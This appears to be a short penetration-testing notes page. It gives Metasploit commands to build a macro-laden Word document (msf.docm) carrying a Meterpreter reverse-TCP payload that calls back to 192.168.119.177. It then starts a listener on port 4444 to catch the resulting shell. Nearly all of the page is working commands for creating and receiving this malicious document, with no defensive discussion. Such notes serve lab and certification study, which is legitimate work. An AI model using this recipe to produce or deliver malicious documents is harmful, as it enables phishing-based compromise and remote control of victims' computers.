# Metasploit Office Macro

**msfconsole --→ search office macro**

```
search office macro
use /multi/fileformat/office_word_macro

show options

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.119.177
set disablepayloadhandler false
run
```

**#check out the evil file stored at /home/kali/.msf4/local/msf.docm**

![](https://3410633120-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FV4VjgPvE4pGDuFNzpWxG%2Fuploads%2F0ctsO1YlbQVqcrhguw4x%2F17.png?alt=media\&token=375f643e-e65f-44aa-b377-491055096bfc)

**#Start meterpreter listener**

```
set payload windows/meterpreter/reverse_tcp

set exitonsession false

set lhost 192.168.119.177

set lport 4444

run -j
```

![](https://3410633120-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FV4VjgPvE4pGDuFNzpWxG%2Fuploads%2F0Gt5LnSMWdpOpbF54Wp4%2F18.png?alt=media\&token=ce6b27a9-a287-4f15-b90b-3e4fbb65d134)



